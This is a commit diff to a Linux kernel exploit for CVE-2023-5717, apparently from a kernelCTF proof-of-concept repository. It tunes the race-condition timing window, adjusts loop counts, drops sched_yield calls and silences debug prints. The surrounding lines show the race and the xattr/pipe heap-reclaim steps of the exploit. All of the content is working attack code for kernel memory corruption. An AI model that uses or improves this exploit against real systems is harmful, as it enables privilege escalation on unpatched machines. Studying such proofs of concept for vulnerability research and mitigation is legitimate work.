Remove some stub codes

Author: msh1307

pocs/linux/kernelctf/CVE-2023-5717_mitigation/exploit/mitigation-v3b-6.1.55/exploit

@@ -29,8 +29,8 @@
 #include <signal.h>
 
 // #define TIMER 71000
-#define MIN 60000
-#define MAX 71000
+#define MIN 58000
+#define MAX 79000
 #define SIBLINGS_MAX 1024 // about 0x4000 ~
 #define CPU_A 1 // main cpu
 #define CPU_B 0
@@ -305,7 +305,7 @@ void race(int group_leader) { // caller must have ownership of the group
     if (child_pid == 0) {  // child read
         _pin_to_cpu(CPU_A);
         sched_yield();
-        DEBUG_PRINT();
+        // DEBUG_PRINT();
         raise(SIGSTOP); // stop - keep same generation
         for (int i=0; i<512+511; i++){
             ioctl(siblings[i], PERF_EVENT_IOC_RESET, PERF_IOC_FLAG_GROUP);
@@ -329,10 +329,9 @@ void race(int group_leader) { // caller must have ownership of the group
         write(pipefd[1], buffer, 1); // sync point A
         remove_xattr("security.x12296_10", 1);
         // x10 reclaimed by CPU_B is now released on CPU_A
-        for (int _=0; _<32; _++) {
+        for (int _=0; _<48; _++) {
             read(group_leader, buf, sizeof(buf));
         }
-        sched_yield();
         remove_xattr("security.ssiphim", 1);
         if (setxattr("/tmp/x1", "security.x12296_10", buf, 0x3008, 0) < 0) {
             perror("reclaim failed");
@@ -347,7 +346,7 @@ void race(int group_leader) { // caller must have ownership of the group
         exit(0);
     }
     else if (child_pid > 0) { // parent
-        DEBUG_PRINT();
+        // DEBUG_PRINT();
         struct perf_event_attr pe;
         memset(&pe, 0, sizeof(pe));
         pe.type = PERF_TYPE_SOFTWARE;
@@ -476,7 +475,6 @@ pid_t add_siblings_fork(int group_leader, int cnt, int ctx_pid, int is_racer){
             // this reclaim process must be atomic
             remove_xattr("security.x12296_11", 1);
             resize_pipe(vuln_pipe[1], 0x1000 * 220);
-            sched_yield();
             remove_xattr("security.x12296_10", 1);
             remove_xattr("security.x12296_7", 1); 
             if (setxattr("/tmp/x1", "security.x12296_10", buf, 0x3008, 0) < 0) {